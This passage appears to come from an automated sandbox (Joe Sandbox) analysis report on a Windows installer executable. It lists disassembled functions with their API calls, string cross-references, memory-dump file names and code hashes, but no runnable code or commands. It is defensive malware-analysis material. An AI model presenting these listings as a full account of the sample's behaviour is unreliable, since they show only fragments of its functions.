SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433EE0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction ID: 68187ad06c86d7515f13608b457f8be07a0117cb3bcf177897c910b083aea3f1
Opcode Fuzzy Hash: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction Fuzzy Hash: 9A418C71800209AFCF058F95DE459AF7BB9FF44315F00842AF591AA1A0C778EA54DFA4

Function 00405ECE Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406069,?,?), ref: 00405F09
GetShortPathNameW.KERNEL32(?,004308E8,00000400), ref: 00405F12

Part of subcall function 00405CD9: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE9
Part of subcall function 00405CD9: lstrlenA.KERNEL32(00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D1B

GetShortPathNameW.KERNEL32(?,004310E8,00000400), ref: 00405F2F
wsprintfA.USER32 ref: 00405F4D
GetFileSize.KERNEL32(00000000,00000000,004310E8,C0000000,00000004,004310E8,?,?,?,?,?), ref: 00405F88
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F97
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCF
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,004304E8,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 00406025
GlobalFree.KERNEL32(00000000), ref: 00406036
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040603D

Part of subcall function 00405D74: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\3507071243740008011.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D78
Part of subcall function 00405D74: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D9A

Strings

%ls=%ls, xrefs: 00405F43
[Rename], xrefs: 00405FB7, 00405FC9

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 4764efec6bbb625c57c3953ed88dd39e9a4d7ef93366e848611a72397d906ad3
Instruction ID: 79e357045524b81a8ea21183b2a6189fe473d9766cb3db532b5e95eed637b89f
Opcode Fuzzy Hash: 4764efec6bbb625c57c3953ed88dd39e9a4d7ef93366e848611a72397d906ad3
Instruction Fuzzy Hash: D1315771100B05ABD220AB669D48F6B3A9CDF45744F15003FF902F62D2EA7CD9118ABC

Function 00406516 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\3507071243740008011.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00406579
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406588
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\3507071243740008011.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 0040658D
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\3507071243740008011.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 004065A0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406517, 0040651C
*?|<>/":, xrefs: 00406568
"C:\Users\user\Desktop\3507071243740008011.exe", xrefs: 00406516

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\3507071243740008011.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1114763981
Opcode ID: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction ID: 662237d401549a0b86d5a4e6e01ff77a7750504751085e1aca306c60b5ffe750
Opcode Fuzzy Hash: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction Fuzzy Hash: 3911B655800612A5D7303B18BC40AB776B8EF68750B52403FED8A732C5E77C5CA286BD

Function 0040427E Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040429B
GetSysColor.USER32(00000000), ref: 004042B7
SetTextColor.GDI32(?,00000000), ref: 004042C3
SetBkMode.GDI32(?,?), ref: 004042CF
GetSysColor.USER32(?), ref: 004042E2
SetBkColor.GDI32(?,?), ref: 004042F2
DeleteObject.GDI32(?), ref: 0040430C
CreateBrushIndirect.GDI32(?), ref: 00404316

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction ID: b3876bbcbbff373df079470ccdc5149205509338ab7e68b668f4883140def8c6
Opcode Fuzzy Hash: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction Fuzzy Hash: B22151B1600704ABCB219F68DE08B5BBBF8AF41714F04897DFD96E26A0D734E944CB64

Function 100022D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002411

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@Hmu, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction ID: e010a8171ff36a63e9221139458dc5df23460d7ee6f57f6168b5e09891e1807c
Opcode Fuzzy Hash: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction Fuzzy Hash: 9141D2B4408305EFF324DF24C880A6AB7F8FB843D4B11892DF94687199DB34BA94CB65

Function 004052E6 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 431f9b9f519d5dcc2d02559eb98ffe4ebe6b5718b6beea2b4038e3bce57f3186
Instruction ID: 0b7e0c68d9dca976d3f5af37e2abe0e5b3dfc86658143eccbc3f009734cc3570
Opcode Fuzzy Hash: 431f9b9f519d5dcc2d02559eb98ffe4ebe6b5718b6beea2b4038e3bce57f3186
Instruction Fuzzy Hash: 3F21A171900518BACF11AFA5DD859CFBFB4EF85350F14817AF944B6290C7B98A90CFA8

Function 00404BB0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BCB
GetMessagePos.USER32 ref: 00404BD3
ScreenToClient.USER32(?,?), ref: 00404BED
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BFF
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C25

Strings

f, xrefs: 00404C01

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: fcc096391eddebe8eb85a5aa76d4b30f922b4a39187f2a8acbab72006efdbce5
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 31015E71900218BAEB10DB94DD85BFEBBBCAF95B11F10412BBA50B62D0D7B499418BA4

Function 00402DD7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DF5
MulDiv.KERNEL32(000F0CEB,00000064,000F0EEF), ref: 00402E20
wsprintfW.USER32 ref: 00402E30
SetWindowTextW.USER32(?,?), ref: 00402E40
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E52

Strings

verifying installer: %d%%, xrefs: 00402E2A

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: f82802282f146ff8d7a81516d08dd23d853d0675b9ceba9b20e767ba0194de88
Instruction ID: 0244175548504e0de7267acb57bf05e9e9b1595e8d7e84e5cb6d98a661a40fbb
Opcode Fuzzy Hash: f82802282f146ff8d7a81516d08dd23d853d0675b9ceba9b20e767ba0194de88
Instruction Fuzzy Hash: B6014470640208BBDF209F50DE49FAA3B69BB00304F008039FA46A51D0DBB889558B59

Function 100024A4 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 1000256D
GlobalFree.KERNEL32(00000000), ref: 100025A8

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction ID: 149f0ffe7112dafd64944f245e56057b96fa329c468151baa91e3d773918aa42
Opcode Fuzzy Hash: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction Fuzzy Hash: 1031AF71504651EFF721CF14CCA8E2B7BB8FB853D2F114119F940961A8C7719851DB69

Function 004028A7 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 004028FB
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402917
GlobalFree.KERNEL32(?), ref: 00402950
GlobalFree.KERNEL32(00000000), ref: 00402963
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040297B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 0040298F

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: f62c8856deeff081086e792091e27b9e6cd03f1654503537dfa884b98f73c81c
Instruction ID: c7dec26b55dd312fec5fb3faf1598927ec34475db9096b9e5e75d52a628400f5
Opcode Fuzzy Hash: f62c8856deeff081086e792091e27b9e6cd03f1654503537dfa884b98f73c81c
Instruction Fuzzy Hash: E521BDB1C00128BBDF216FA5DE49D9E7E79EF08364F10423AF964762E0CB794C418B98

Function 00402592 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll,00000400,?,?,00000021), ref: 004025E2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll,00000400,?,?,00000021), ref: 004025ED

Strings

C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll, xrefs: 004025AD, 004025D4, 004025E8, 00402634
C:\Users\user\AppData\Local\Temp\nsy62D9.tmp, xrefs: 004025DB

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsy62D9.tmp$C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll
API String ID: 3109718747-2948858247
Opcode ID: 07d53d2b07502590e3e1b39d6501f1557fe553bf4e29e33a0fbec8c4be15c9f1
Instruction ID: 59cf546ef3811be8ee7c727c8e5eea11e2141b44b9e391d5d171073bbb1e77e0
Opcode Fuzzy Hash: 07d53d2b07502590e3e1b39d6501f1557fe553bf4e29e33a0fbec8c4be15c9f1
Instruction Fuzzy Hash: F611EB72A01204BEDB146FB18E8EA9F77659F45398F20453BF102F61C1DAFC89415B5E

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: fe7133a2f93821227e3a7e703367dd144469a15fe8ff947d0f1e508e715dc704
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: fe7133a2f93821227e3a7e703367dd144469a15fe8ff947d0f1e508e715dc704
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00401DB3 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E38

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 8f9191b43f1087fd91e2bc6620e9991732759c8a76e5fb6f86f4dddf7fac1548
Instruction ID: 8058adb7fc53f801c03006c9ef56a62efa99793a140a93f16ed6c143b7d909dc
Opcode Fuzzy Hash: 8f9191b43f1087fd91e2bc6620e9991732759c8a76e5fb6f86f4dddf7fac1548
Instruction Fuzzy Hash: 9A015271944240EFE701ABB4AE8A6D97FB49F95301F10457EE241F61E2CAB800459F2D

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401D57 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D5D
GetClientRect.USER32(00000000,?), ref: 00401D6A
